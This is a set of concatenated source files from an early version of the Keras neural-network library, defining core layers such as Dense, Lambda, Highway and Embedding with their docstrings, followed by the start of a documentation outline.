        for i, dim in enumerate(self.dims):
            target_dim = input_shape[dim]
            output_shape[i+1] = target_dim
        return tuple(output_shape)

    def call(self, x, mask=None):
        return K.permute_dimensions(x, (0,) + self.dims)

    def get_config(self):
        config = {'dims': self.dims}
        base_config = super(Permute, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class Flatten(Layer):
    '''Flattens the input. Does not affect the batch size.

    # Example

    ```python
        model = Sequential()
        model.add(Convolution2D(64, 3, 3, border_mode='same', input_shape=(3, 32, 32)))
        # now: model.output_shape == (None, 64, 32, 32)

        model.add(Flatten())
        # now: model.output_shape == (None, 65536)
    ```
    '''
    def __init__(self, **kwargs):
        self.input_spec = [InputSpec(ndim='3+')]
        super(Flatten, self).__init__(**kwargs)

    def get_output_shape_for(self, input_shape):
        if not all(input_shape[1:]):
            raise Exception('The shape of the input to "Flatten" '
                            'is not fully defined '
                            '(got ' + str(input_shape[1:]) + '. '
                            'Make sure to pass a complete "input_shape" '
                            'or "batch_input_shape" argument to the first '
                            'layer in your model.')
        return (input_shape[0], np.prod(input_shape[1:]))

    def call(self, x, mask=None):
        return K.batch_flatten(x)


class RepeatVector(Layer):
    '''Repeats the input n times.

    # Example

    ```python
        model = Sequential()
        model.add(Dense(32, input_dim=32))
        # now: model.output_shape == (None, 32)
        # note: `None` is the batch dimension

        model.add(RepeatVector(3))
        # now: model.output_shape == (None, 3, 32)
    ```

    # Arguments
        n: integer, repetition factor.

    # Input shape
        2D tensor of shape `(nb_samples, features)`.

    # Output shape
        3D tensor of shape `(nb_samples, n, features)`.
    '''
    def __init__(self, n, **kwargs):
        self.n = n
        self.input_spec = [InputSpec(ndim=2)]
        super(RepeatVector, self).__init__(**kwargs)

    def get_output_shape_for(self, input_shape):
        return (input_shape[0], self.n, input_shape[1])

    def call(self, x, mask=None):
        return K.repeat(x, self.n)

    def get_config(self):
        config = {'n': self.n}
        base_config = super(RepeatVector, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class Lambda(Layer):
    '''Used for evaluating an arbitrary Theano / TensorFlow expression
    on the output of the previous layer.

    # Examples

    ```python
        # add a x -> x^2 layer
        model.add(Lambda(lambda x: x ** 2))
    ```
    ```python
        # add a layer that returns the concatenation
        # of the positive part of the input and
        # the opposite of the negative part

        def antirectifier(x):
            x -= K.mean(x, axis=1, keepdims=True)
            x = K.l2_normalize(x, axis=1)
            pos = K.relu(x)
            neg = K.relu(-x)
            return K.concatenate([pos, neg], axis=1)

        def antirectifier_output_shape(input_shape):
            shape = list(input_shape)
            assert len(shape) == 2  # only valid for 2D tensors
            shape[-1] *= 2
            return tuple(shape)

        model.add(Lambda(antirectifier, output_shape=antirectifier_output_shape))
    ```

    # Arguments
        function: The function to be evaluated.
            Takes one argument: the output of previous layer
        output_shape: Expected output shape from function.
            Can be a tuple or function.
            If a tuple, it only specifies the first dimension onward; 
                 sample dimension is assumed either the same as the input:
                 `output_shape = (input_shape[0], ) + output_shape`
                 or, the input is `None` and the sample dimension is also `None`:
                 `output_shape = (None, ) + output_shape`
            If a function, it specifies the entire shape as a function of 
                 the input shape: `output_shape = f(input_shape)`
        arguments: optional dictionary of keyword arguments to be passed
            to the function.

    # Input shape
        Arbitrary. Use the keyword argument input_shape
        (tuple of integers, does not include the samples axis)
        when using this layer as the first layer in a model.

    # Output shape
        Specified by `output_shape` argument.
    '''
    def __init__(self, function, output_shape=None, arguments={}, **kwargs):
        self.function = function
        self.arguments = arguments
        self.supports_masking = False

        if output_shape is None:
            self._output_shape = None
        elif type(output_shape) in {tuple, list}:
            self._output_shape = tuple(output_shape)
        else:
            if not hasattr(output_shape, '__call__'):
                raise Exception('In Lambda, `output_shape` '
                                'must be a list, a tuple, or a function.')
            self._output_shape = output_shape
        super(Lambda, self).__init__(**kwargs)

    def get_output_shape_for(self, input_shape):
        if self._output_shape is None:
            # if TensorFlow, we can infer the output shape directly:
            if K._BACKEND == 'tensorflow':
                if type(input_shape) is list:
                    xs = [K.placeholder(shape=shape) for shape in input_shape]
                    x = self.call(xs)
                else:
                    x = K.placeholder(shape=input_shape)
                    x = self.call(x)
                if type(x) is list:
                    return [K.int_shape(x_elem) for x_elem in x]
                else:
                    return K.int_shape(x)
            # otherwise, we default to the input shape
            return input_shape
        elif type(self._output_shape) in {tuple, list}:
            nb_samples = input_shape[0] if input_shape else None
            return (nb_samples,) + tuple(self._output_shape)
        else:
            shape = self._output_shape(input_shape)
            if type(shape) not in {list, tuple}:
                raise Exception('output_shape function must return a tuple')
            return tuple(shape)

    def call(self, x, mask=None):
        arguments = self.arguments
        arg_spec = inspect.getargspec(self.function)
        if 'mask' in arg_spec.args:
            arguments['mask'] = mask
        return self.function(x, **arguments)

    def get_config(self):
        py3 = sys.version_info[0] == 3

        if isinstance(self.function, python_types.LambdaType):
            if py3:
                function = marshal.dumps(self.function.__code__).decode('raw_unicode_escape')
            else:
                function = marshal.dumps(self.function.func_code).decode('raw_unicode_escape')
            function_type = 'lambda'
        else:
            function = self.function.__name__
            function_type = 'function'

        if isinstance(self._output_shape, python_types.LambdaType):
            if py3:
                output_shape = marshal.dumps(self._output_shape.__code__).decode('raw_unicode_escape')
            else:
                output_shape = marshal.dumps(self._output_shape.func_code).decode('raw_unicode_escape')
            output_shape_type = 'lambda'
        elif callable(self._output_shape):
            output_shape = self._output_shape.__name__
            output_shape_type = 'function'
        else:
            output_shape = self._output_shape
            output_shape_type = 'raw'

        config = {'function': function,
                  'function_type': function_type,
                  'output_shape': output_shape,
                  'output_shape_type': output_shape_type,
                  'arguments': self.arguments}
        base_config = super(Lambda, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))

    @classmethod
    def from_config(cls, config):
        function_type = config.pop('function_type')
        if function_type == 'function':
            function = globals()[config['function']]
        elif function_type == 'lambda':
            function = marshal.loads(config['function'].encode('raw_unicode_escape'))
            function = python_types.FunctionType(function, globals())
        else:
            raise Exception('Unknown function type: ' + function_type)

        output_shape_type = config.pop('output_shape_type')
        if output_shape_type == 'function':
            output_shape = globals()[config['output_shape']]
        elif output_shape_type == 'lambda':
            output_shape = marshal.loads(config['output_shape'].encode('raw_unicode_escape'))
            output_shape = python_types.FunctionType(output_shape, globals())
        else:
            output_shape = config['output_shape']

        config['function'] = function
        config['output_shape'] = output_shape
        return cls(**config)


class Dense(Layer):
    '''Just your regular fully connected NN layer.

    # Example

    ```python
        # as first layer in a sequential model:
        model = Sequential()
        model.add(Dense(32, input_dim=16))
        # now the model will take as input arrays of shape (*, 16)
        # and output arrays of shape (*, 32)

        # this is equivalent to the above:
        model = Sequential()
        model.add(Dense(32, input_shape=(16,)))

        # after the first layer, you don't need to specify
        # the size of the input anymore:
        model.add(Dense(32))
    ```

    # Arguments
        output_dim: int > 0.
        init: name of initialization function for the weights of the layer
            (see [initializations](../initializations.md)),
            or alternatively, Theano function to use for weights
            initialization. This parameter is only relevant
            if you don't pass a `weights` argument.
        activation: name of activation function to use
            (see [activations](../activations.md)),
            or alternatively, elementwise Theano function.
            If you don't specify anything, no activation is applied
            (ie. "linear" activation: a(x) = x).
        weights: list of Numpy arrays to set as initial weights.
            The list should have 2 elements, of shape `(input_dim, output_dim)`
            and (output_dim,) for weights and biases respectively.
        W_regularizer: instance of [WeightRegularizer](../regularizers.md)
            (eg. L1 or L2 regularization), applied to the main weights matrix.
        b_regularizer: instance of [WeightRegularizer](../regularizers.md),
            applied to the bias.
        activity_regularizer: instance of [ActivityRegularizer](../regularizers.md),
            applied to the network output.
        W_constraint: instance of the [constraints](../constraints.md) module
            (eg. maxnorm, nonneg), applied to the main weights matrix.
        b_constraint: instance of the [constraints](../constraints.md) module,
            applied to the bias.
        bias: whether to include a bias (i.e. make the layer affine rather than linear).
        input_dim: dimensionality of the input (integer).
            This argument (or alternatively, the keyword argument `input_shape`)
            is required when using this layer as the first layer in a model.

    # Input shape
        2D tensor with shape: `(nb_samples, input_dim)`.

    # Output shape
        2D tensor with shape: `(nb_samples, output_dim)`.
    '''
    def __init__(self, output_dim, init='glorot_uniform', activation='linear', weights=None,
                 W_regularizer=None, b_regularizer=None, activity_regularizer=None,
                 W_constraint=None, b_constraint=None,
                 bias=True, input_dim=None, **kwargs):
        self.init = initializations.get(init)
        self.activation = activations.get(activation)
        self.output_dim = output_dim
        self.input_dim = input_dim

        self.W_regularizer = regularizers.get(W_regularizer)
        self.b_regularizer = regularizers.get(b_regularizer)
        self.activity_regularizer = regularizers.get(activity_regularizer)

        self.W_constraint = constraints.get(W_constraint)
        self.b_constraint = constraints.get(b_constraint)

        self.bias = bias
        self.initial_weights = weights
        self.input_spec = [InputSpec(ndim=2)]

        if self.input_dim:
            kwargs['input_shape'] = (self.input_dim,)
        super(Dense, self).__init__(**kwargs)

    def build(self, input_shape):
        assert len(input_shape) == 2
        input_dim = input_shape[1]
        self.input_spec = [InputSpec(dtype=K.floatx(),
                                     shape=(None, input_dim))]

        self.W = self.init((input_dim, self.output_dim),
                           name='{}_W'.format(self.name))
        if self.bias:
            self.b = K.zeros((self.output_dim,),
                             name='{}_b'.format(self.name))
            self.trainable_weights = [self.W, self.b]
        else:
            self.trainable_weights = [self.W]

        self.regularizers = []
        if self.W_regularizer:
            self.W_regularizer.set_param(self.W)
            self.regularizers.append(self.W_regularizer)

        if self.bias and self.b_regularizer:
            self.b_regularizer.set_param(self.b)
            self.regularizers.append(self.b_regularizer)

        if self.activity_regularizer:
            self.activity_regularizer.set_layer(self)
            self.regularizers.append(self.activity_regularizer)

        self.constraints = {}
        if self.W_constraint:
            self.constraints[self.W] = self.W_constraint
        if self.bias and self.b_constraint:
            self.constraints[self.b] = self.b_constraint

        if self.initial_weights is not None:
            self.set_weights(self.initial_weights)
            del self.initial_weights

    def call(self, x, mask=None):
        output = K.dot(x, self.W)
        if self.bias:
            output += self.b
        return self.activation(output)

    def get_output_shape_for(self, input_shape):
        assert input_shape and len(input_shape) == 2
        return (input_shape[0], self.output_dim)

    def get_config(self):
        config = {'output_dim': self.output_dim,
                  'init': self.init.__name__,
                  'activation': self.activation.__name__,
                  'W_regularizer': self.W_regularizer.get_config() if self.W_regularizer else None,
                  'b_regularizer': self.b_regularizer.get_config() if self.b_regularizer else None,
                  'activity_regularizer': self.activity_regularizer.get_config() if self.activity_regularizer else None,
                  'W_constraint': self.W_constraint.get_config() if self.W_constraint else None,
                  'b_constraint': self.b_constraint.get_config() if self.b_constraint else None,
                  'bias': self.bias,
                  'input_dim': self.input_dim}
        base_config = super(Dense, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class ActivityRegularization(Layer):
    '''Layer that passes through its input unchanged, but applies an update
    to the cost function based on the activity.

    # Arguments
        l1: L1 regularization factor (positive float).
        l2: L2 regularization factor (positive float).

    # Input shape
        Arbitrary. Use the keyword argument `input_shape`
        (tuple of integers, does not include the samples axis)
        when using this layer as the first layer in a model.

    # Output shape
        Same shape as input.
    '''
    def __init__(self, l1=0., l2=0., **kwargs):
        self.supports_masking = True
        self.l1 = l1
        self.l2 = l2

        super(ActivityRegularization, self).__init__(**kwargs)
        activity_regularizer = ActivityRegularizer(l1=l1, l2=l2)
        activity_regularizer.set_layer(self)
        self.regularizers = [activity_regularizer]

    def get_config(self):
        config = {'l1': self.l1,
                  'l2': self.l2}
        base_config = super(ActivityRegularization, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class MaxoutDense(Layer):
    '''A dense maxout layer.

    A `MaxoutDense` layer takes the element-wise maximum of
    `nb_feature` `Dense(input_dim, output_dim)` linear layers.
    This allows the layer to learn a convex,
    piecewise linear activation function over the inputs.

    Note that this is a *linear* layer;
    if you wish to apply activation function
    (you shouldn't need to --they are universal function approximators),
    an `Activation` layer must be added after.

    # Arguments
        output_dim: int > 0.
        nb_feature: number of Dense layers to use internally.
        init: name of initialization function for the weights of the layer
            (see [initializations](../initializations.md)),
            or alternatively, Theano function to use for weights
            initialization. This parameter is only relevant
            if you don't pass a `weights` argument.
        weights: list of Numpy arrays to set as initial weights.
            The list should have 2 elements, of shape `(input_dim, output_dim)`
            and (output_dim,) for weights and biases respectively.
        W_regularizer: instance of [WeightRegularizer](../regularizers.md)
            (eg. L1 or L2 regularization), applied to the main weights matrix.
        b_regularizer: instance of [WeightRegularizer](../regularizers.md),
            applied to the bias.
        activity_regularizer: instance of [ActivityRegularizer](../regularizers.md),
            applied to the network output.
        W_constraint: instance of the [constraints](../constraints.md) module
            (eg. maxnorm, nonneg), applied to the main weights matrix.
        b_constraint: instance of the [constraints](../constraints.md) module,
            applied to the bias.
        bias: whether to include a bias (i.e. make the layer affine rather than linear).
        input_dim: dimensionality of the input (integer).
            This argument (or alternatively, the keyword argument `input_shape`)
            is required when using this layer as the first layer in a model.

    # Input shape
        2D tensor with shape: `(nb_samples, input_dim)`.

    # Output shape
        2D tensor with shape: `(nb_samples, output_dim)`.

    # References
        - [Maxout Networks](http://arxiv.org/pdf/1302.4389.pdf)
    '''
    def __init__(self, output_dim, nb_feature=4,
                 init='glorot_uniform', weights=None,
                 W_regularizer=None, b_regularizer=None, activity_regularizer=None,
                 W_constraint=None, b_constraint=None,
                 bias=True, input_dim=None, **kwargs):
        self.output_dim = output_dim
        self.nb_feature = nb_feature
        self.init = initializations.get(init)

        self.W_regularizer = regularizers.get(W_regularizer)
        self.b_regularizer = regularizers.get(b_regularizer)
        self.activity_regularizer = regularizers.get(activity_regularizer)

        self.W_constraint = constraints.get(W_constraint)
        self.b_constraint = constraints.get(b_constraint)

        self.bias = bias
        self.initial_weights = weights
        self.input_spec = [InputSpec(ndim=2)]

        self.input_dim = input_dim
        if self.input_dim:
            kwargs['input_shape'] = (self.input_dim,)
        super(MaxoutDense, self).__init__(**kwargs)

    def build(self, input_shape):
        input_dim = input_shape[1]
        self.input_spec = [InputSpec(dtype=K.floatx(),
                                     shape=(None, input_dim))]

        self.W = self.init((self.nb_feature, input_dim, self.output_dim),
                           name='{}_W'.format(self.name))
        if self.bias:
            self.b = K.zeros((self.nb_feature, self.output_dim),
                             name='{}_b'.format(self.name))
            self.trainable_weights = [self.W, self.b]
        else:
            self.trainable_weights = [self.W]

        self.regularizers = []
        if self.W_regularizer:
            self.W_regularizer.set_param(self.W)
            self.regularizers.append(self.W_regularizer)

        if self.bias and self.b_regularizer:
            self.b_regularizer.set_param(self.b)
            self.regularizers.append(self.b_regularizer)

        if self.activity_regularizer:
            self.activity_regularizer.set_layer(self)
            self.regularizers.append(self.activity_regularizer)

        self.constraints = {}
        if self.W_constraint:
            self.constraints[self.W] = self.W_constraint
        if self.bias and self.b_constraint:
            self.constraints[self.b] = self.b_constraint

        if self.initial_weights is not None:
            self.set_weights(self.initial_weights)
            del self.initial_weights

    def get_output_shape_for(self, input_shape):
        assert input_shape and len(input_shape) == 2
        return (input_shape[0], self.output_dim)

    def call(self, x, mask=None):
        # no activation, this layer is only linear.
        output = K.dot(x, self.W)
        if self.bias:
            output += self.b
        output = K.max(output, axis=1)
        return output

    def get_config(self):
        config = {'output_dim': self.output_dim,
                  'init': self.init.__name__,
                  'nb_feature': self.nb_feature,
                  'W_regularizer': self.W_regularizer.get_config() if self.W_regularizer else None,
                  'b_regularizer': self.b_regularizer.get_config() if self.b_regularizer else None,
                  'activity_regularizer': self.activity_regularizer.get_config() if self.activity_regularizer else None,
                  'W_constraint': self.W_constraint.get_config() if self.W_constraint else None,
                  'b_constraint': self.b_constraint.get_config() if self.b_constraint else None,
                  'bias': self.bias,
                  'input_dim': self.input_dim}
        base_config = super(MaxoutDense, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class Highway(Layer):
    '''Densely connected highway network,
    a natural extension of LSTMs to feedforward networks.

    # Arguments
        init: name of initialization function for the weights of the layer
            (see [initializations](../initializations.md)),
            or alternatively, Theano function to use for weights
            initialization. This parameter is only relevant
            if you don't pass a `weights` argument.
        transform_bias: value for the bias to take on initially (default -2)
        activation: name of activation function to use
            (see [activations](../activations.md)),
            or alternatively, elementwise Theano function.
            If you don't specify anything, no activation is applied
            (ie. "linear" activation: a(x) = x).
        weights: list of Numpy arrays to set as initial weights.
            The list should have 2 elements, of shape `(input_dim, output_dim)`
            and (output_dim,) for weights and biases respectively.
        W_regularizer: instance of [WeightRegularizer](../regularizers.md)
            (eg. L1 or L2 regularization), applied to the main weights matrix.
        b_regularizer: instance of [WeightRegularizer](../regularizers.md),
            applied to the bias.
        activity_regularizer: instance of [ActivityRegularizer](../regularizers.md),
            applied to the network output.
        W_constraint: instance of the [constraints](../constraints.md) module
            (eg. maxnorm, nonneg), applied to the main weights matrix.
        b_constraint: instance of the [constraints](../constraints.md) module,
            applied to the bias.
        bias: whether to include a bias (i.e. make the layer affine rather than linear).
        input_dim: dimensionality of the input (integer).
            This argument (or alternatively, the keyword argument `input_shape`)
            is required when using this layer as the first layer in a model.

    # Input shape
        2D tensor with shape: `(nb_samples, input_dim)`.

    # Output shape
        2D tensor with shape: `(nb_samples, input_dim)`.

    # References
        - [Highway Networks](http://arxiv.org/pdf/1505.00387v2.pdf)
    '''
    def __init__(self, init='glorot_uniform', transform_bias=-2,
                 activation='linear', weights=None,
                 W_regularizer=None, b_regularizer=None, activity_regularizer=None,
                 W_constraint=None, b_constraint=None,
                 bias=True, input_dim=None, **kwargs):
        self.init = initializations.get(init)
        self.transform_bias = transform_bias
        self.activation = activations.get(activation)

        self.W_regularizer = regularizers.get(W_regularizer)
        self.b_regularizer = regularizers.get(b_regularizer)
        self.activity_regularizer = regularizers.get(activity_regularizer)

        self.W_constraint = constraints.get(W_constraint)
        self.b_constraint = constraints.get(b_constraint)

        self.bias = bias
        self.initial_weights = weights
        self.input_spec = [InputSpec(ndim=2)]

        self.input_dim = input_dim
        if self.input_dim:
            kwargs['input_shape'] = (self.input_dim,)
        super(Highway, self).__init__(**kwargs)

    def build(self, input_shape):
        input_dim = input_shape[1]
        self.input_spec = [InputSpec(dtype=K.floatx(),
                                     shape=(None, input_dim))]

        self.W = self.init((input_dim, input_dim),
                           name='{}_W'.format(self.name))
        self.W_carry = self.init((input_dim, input_dim),
                                 name='{}_W_carry'.format(self.name))

        if self.bias:
            self.b = K.zeros((input_dim,), name='{}_b'.format(self.name))
            # initialize with a vector of values `transform_bias`
            self.b_carry = K.variable(np.ones((input_dim,)) * self.transform_bias,
                                      name='{}_b_carry'.format(self.name))
            self.trainable_weights = [self.W, self.b, self.W_carry, self.b_carry]
        else:
            self.trainable_weights = [self.W, self.W_carry]

        self.regularizers = []
        if self.W_regularizer:
            self.W_regularizer.set_param(self.W)
            self.regularizers.append(self.W_regularizer)

        if self.bias and self.b_regularizer:
            self.b_regularizer.set_param(self.b)
            self.regularizers.append(self.b_regularizer)

        if self.activity_regularizer:
            self.activity_regularizer.set_layer(self)
            self.regularizers.append(self.activity_regularizer)

        self.constraints = {}
        if self.W_constraint:
            self.constraints[self.W] = self.W_constraint
        if self.bias and self.b_constraint:
            self.constraints[self.b] = self.b_constraint

        if self.initial_weights is not None:
            self.set_weights(self.initial_weights)
            del self.initial_weights

    def call(self, x, mask=None):
        y = K.dot(x, self.W_carry)
        if self.bias:
            y += self.b_carry
        transform_weight = activations.sigmoid(y)
        y = K.dot(x, self.W)
        if self.bias:
            y += self.b
        act = self.activation(y)
        act *= transform_weight
        output = act + (1 - transform_weight) * x
        return output

    def get_config(self):
        config = {'init': self.init.__name__,
                  'transform_bias': self.transform_bias,
                  'activation': self.activation.__name__,
                  'W_regularizer': self.W_regularizer.get_config() if self.W_regularizer else None,
                  'b_regularizer': self.b_regularizer.get_config() if self.b_regularizer else None,
                  'activity_regularizer': self.activity_regularizer.get_config() if self.activity_regularizer else None,
                  'W_constraint': self.W_constraint.get_config() if self.W_constraint else None,
                  'b_constraint': self.b_constraint.get_config() if self.b_constraint else None,
                  'bias': self.bias,
                  'input_dim': self.input_dim}
        base_config = super(Highway, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class TimeDistributedDense(Layer):
    '''Apply a same Dense layer for each dimension[1] (time_dimension) input.
    Especially useful after a recurrent network with 'return_sequence=True'.

    Note: this layer is deprecated, prefer using the `TimeDistributed` wrapper:
    ```python
        model.add(TimeDistributed(Dense(32)))
    ```

    # Input shape
        3D tensor with shape `(nb_sample, time_dimension, input_dim)`.

    # Output shape
        3D tensor with shape `(nb_sample, time_dimension, output_dim)`.

    # Arguments
        output_dim: int > 0.
        init: name of initialization function for the weights of the layer
            (see [initializations](../initializations.md)),
            or alternatively, Theano function to use for weights
            initialization. This parameter is only relevant
            if you don't pass a `weights` argument.
        activation: name of activation function to use
            (see [activations](../activations.md)),
            or alternatively, elementwise Theano function.
            If you don't specify anything, no activation is applied
            (ie. "linear" activation: a(x) = x).
        weights: list of Numpy arrays to set as initial weights.
            The list should have 2 elements, of shape `(input_dim, output_dim)`
            and (output_dim,) for weights and biases respectively.
        W_regularizer: instance of [WeightRegularizer](../regularizers.md)
            (eg. L1 or L2 regularization), applied to the main weights matrix.
        b_regularizer: instance of [WeightRegularizer](../regularizers.md),
            applied to the bias.
        activity_regularizer: instance of [ActivityRegularizer](../regularizers.md),
            applied to the network output.
        W_constraint: instance of the [constraints](../constraints.md) module
            (eg. maxnorm, nonneg), applied to the main weights matrix.
        b_constraint: instance of the [constraints](../constraints.md) module,
            applied to the bias.
        bias: whether to include a bias (i.e. make the layer affine rather than linear).
        input_dim: dimensionality of the input (integer).
            This argument (or alternatively, the keyword argument `input_shape`)
            is required when using this layer as the first layer in a model.
        input_length: length of inputs sequences
            (integer, or None for variable-length sequences).
    '''

    def __init__(self, output_dim,
                 init='glorot_uniform', activation='linear', weights=None,
                 W_regularizer=None, b_regularizer=None, activity_regularizer=None,
                 W_constraint=None, b_constraint=None,
                 bias=True, input_dim=None, input_length=None, **kwargs):
        warnings.warn('TimeDistributedDense is deprecated, '
                      'please use TimeDistributed(Dense(...)) instead.')
        self.output_dim = output_dim
        self.init = initializations.get(init)
        self.activation = activations.get(activation)

        self.W_regularizer = regularizers.get(W_regularizer)
        self.b_regularizer = regularizers.get(b_regularizer)
        self.activity_regularizer = regularizers.get(activity_regularizer)

        self.W_constraint = constraints.get(W_constraint)
        self.b_constraint = constraints.get(b_constraint)

        self.bias = bias
        self.initial_weights = weights
        self.input_spec = [InputSpec(ndim=3)]
        self.supports_masking = True

        self.input_dim = input_dim
        self.input_length = input_length
        if self.input_dim:
            kwargs['input_shape'] = (self.input_length, self.input_dim)
        super(TimeDistributedDense, self).__init__(**kwargs)

    def build(self, input_shape):
        self.input_spec = [InputSpec(dtype=K.floatx(),
                                     shape=(None,) + input_shape[1:])]
        input_dim = input_shape[2]

        self.W = self.init((input_dim, self.output_dim),
                           name='{}_W'.format(self.name))
        if self.bias:
            self.b = K.zeros((self.output_dim,),
                             name='{}_b'.format(self.name))
            self.trainable_weights = [self.W, self.b]
        self.regularizers = []

        if self.W_regularizer:
            self.W_regularizer.set_param(self.W)
            self.regularizers.append(self.W_regularizer)

        if self.bias and self.b_regularizer:
            self.b_regularizer.set_param(self.b)
            self.regularizers.append(self.b_regularizer)

        if self.activity_regularizer:
            self.activity_regularizer.set_layer(self)
            self.regularizers.append(self.activity_regularizer)

        self.constraints = {}
        if self.W_constraint:
            self.constraints[self.W] = self.W_constraint
        if self.bias and self.b_constraint:
            self.constraints[self.b] = self.b_constraint

        if self.initial_weights is not None:
            self.set_weights(self.initial_weights)
            del self.initial_weights

    def get_output_shape_for(self, input_shape):
        return (input_shape[0], input_shape[1], self.output_dim)

    def call(self, x, mask=None):
        input_shape = self.input_spec[0].shape
        # x has shape (samples, timesteps, input_dim)
        input_length = input_shape[1]
        # Note: input_length should always be provided when using tensorflow backend.
        if not input_length:
            if hasattr(K, 'int_shape'):
                input_length = K.int_shape(x)[1]
                if not input_length:
                    raise Exception(
                        'Layer ' + self.name +
                        ' requires to know the length of its input, '
                        'but it could not be inferred automatically. '
                        'Specify it manually by passing an input_shape '
                        'argument to the first layer in your model.')
            else:
                input_length = K.shape(x)[1]

        # Squash samples and timesteps into a single axis
        x = K.reshape(x, (-1, input_shape[-1]))  # (samples * timesteps, input_dim)
        y = K.dot(x, self.W)  # (samples * timesteps, output_dim)
        if self.bias:
            y += self.b
        # We have to reshape Y to (samples, timesteps, output_dim)
        y = K.reshape(y, (-1, input_length, self.output_dim))  # (samples, timesteps, output_dim)
        y = self.activation(y)
        return y

    def get_config(self):
        config = {'output_dim': self.output_dim,
                  'init': self.init.__name__,
                  'activation': self.activation.__name__,
                  'W_regularizer': self.W_regularizer.get_config() if self.W_regularizer else None,
                  'b_regularizer': self.b_regularizer.get_config() if self.b_regularizer else None,
                  'activity_regularizer': self.activity_regularizer.get_config() if self.activity_regularizer else None,
                  'W_constraint': self.W_constraint.get_config() if self.W_constraint else None,
                  'b_constraint': self.b_constraint.get_config() if self.b_constraint else None,
                  'bias': self.bias,
                  'input_dim': self.input_dim,
                  'input_length': self.input_length}
        base_config = super(TimeDistributedDense, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))






from __future__ import absolute_import

from .. import backend as K
from .. import initializations, regularizers, constraints
from ..engine import Layer


class Embedding(Layer):
    '''Turn positive integers (indexes) into dense vectors of fixed size.
    eg. [[4], [20]] -> [[0.25, 0.1], [0.6, -0.2]]

    This layer can only be used as the first layer in a model.

    # Example

    ```python
      model = Sequential()
      model.add(Embedding(1000, 64, input_length=10))
      # the model will take as input an integer matrix of size (batch, input_length).
      # the largest integer (i.e. word index) in the input should be no larger than 999 (vocabulary size).
      # now model.output_shape == (None, 10, 64), where None is the batch dimension.

      input_array = np.random.randint(1000, size=(32, 10))

      model.compile('rmsprop', 'mse')
      output_array = model.predict(input_array)
      assert output_array.shape == (32, 10, 64)
    ```

    # Arguments
      input_dim: int > 0. Size of the vocabulary, ie.
          1 + maximum integer index occurring in the input data.
      output_dim: int >= 0. Dimension of the dense embedding.
      init: name of initialization function for the weights
          of the layer (see: [initializations](../initializations.md)),
          or alternatively, Theano function to use for weights initialization.
          This parameter is only relevant if you don't pass a `weights` argument.
      weights: list of Numpy arrays to set as initial weights.
          The list should have 1 element, of shape `(input_dim, output_dim)`.
      W_regularizer: instance of the [regularizers](../regularizers.md) module
        (eg. L1 or L2 regularization), applied to the embedding matrix.
      W_constraint: instance of the [constraints](../constraints.md) module
          (eg. maxnorm, nonneg), applied to the embedding matrix.
      mask_zero: Whether or not the input value 0 is a special "padding"
          value that should be masked out.
          This is useful for [recurrent layers](recurrent.md) which may take
          variable length input. If this is `True` then all subsequent layers
          in the model need to support masking or an exception will be raised.
          If mask_zero is set to True, as a consequence, index 0 cannot be
          used in the vocabulary (input_dim should equal |vocabulary| + 2).
      input_length: Length of input sequences, when it is constant.
          This argument is required if you are going to connect
          `Flatten` then `Dense` layers upstream
          (without it, the shape of the dense outputs cannot be computed).
      dropout: float between 0 and 1. Fraction of the embeddings to drop.

    # Input shape
        2D tensor with shape: `(nb_samples, sequence_length)`.

    # Output shape
        3D tensor with shape: `(nb_samples, sequence_length, output_dim)`.

    # References
        - [A Theoretically Grounded Application of Dropout in Recurrent Neural Networks](http://arxiv.org/abs/1512.05287)
    '''
    input_ndim = 2

    def __init__(self, input_dim, output_dim,
                 init='uniform', input_length=None,
                 W_regularizer=None, activity_regularizer=None,
                 W_constraint=None,
                 mask_zero=False,
                 weights=None, dropout=0., **kwargs):
        self.input_dim = input_dim
        self.output_dim = output_dim
        self.init = initializations.get(init)
        self.input_length = input_length
        self.mask_zero = mask_zero
        self.dropout = dropout

        self.W_constraint = constraints.get(W_constraint)

        self.W_regularizer = regularizers.get(W_regularizer)
        self.activity_regularizer = regularizers.get(activity_regularizer)

        if 0. < self.dropout < 1.:
            self.uses_learning_phase = True
        self.initial_weights = weights
        kwargs['input_shape'] = (self.input_length,)
        kwargs['input_dtype'] = 'int32'
        super(Embedding, self).__init__(**kwargs)

    def build(self, input_shape):
        self.W = self.init((self.input_dim, self.output_dim),
                           name='{}_W'.format(self.name))
        self.trainable_weights = [self.W]

        self.constraints = {}
        if self.W_constraint:
            self.constraints[self.W] = self.W_constraint

        self.regularizers = []
        if self.W_regularizer:
            self.W_regularizer.set_param(self.W)
            self.regularizers.append(self.W_regularizer)

        if self.activity_regularizer:
            self.activity_regularizer.set_layer(self)
            self.regularizers.append(self.activity_regularizer)

        if self.initial_weights is not None:
            self.set_weights(self.initial_weights)

    def compute_mask(self, x, mask=None):
        if not self.mask_zero:
            return None
        else:
            return K.not_equal(x, 0)

    def get_output_shape_for(self, input_shape):
        if not self.input_length:
            input_length = input_shape[1]
        else:
            input_length = self.input_length
        return (input_shape[0], input_length, self.output_dim)

    def call(self, x, mask=None):
        if K.dtype(x) != 'int32':
            x = K.cast(x, 'int32')
        if 0. < self.dropout < 1.:
            retain_p = 1. - self.dropout
            B = K.random_binomial((self.input_dim,), p=retain_p) * (1. / retain_p)
            B = K.expand_dims(B)
            W = K.in_train_phase(self.W * B, self.W)
        else:
            W = self.W
        out = K.gather(W, x)
        return out

    def get_config(self):
        config = {'input_dim': self.input_dim,
                  'output_dim': self.output_dim,
                  'init': self.init.__name__,
                  'input_length': self.input_length,
                  'mask_zero': self.mask_zero,
                  'activity_regularizer': self.activity_regularizer.get_config() if self.activity_regularizer else None,
                  'W_regularizer': self.W_regularizer.get_config() if self.W_regularizer else None,
                  'W_constraint': self.W_constraint.get_config() if self.W_constraint else None,
                  'dropout': self.dropout}
        base_config = super(Embedding, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))






# -*- coding: utf-8 -*-
'''
General documentation architecture:

Home
Index

- Getting started
    Getting started with the sequential model
    Getting started with the functional api
    Examples
    FAQ
    Installation guide

- Models
    About Keras models
        explain when one should use Sequential or functional API
        explain compilation step
        explain weight saving, weight loading
        explain serialization, deserialization
    Sequential
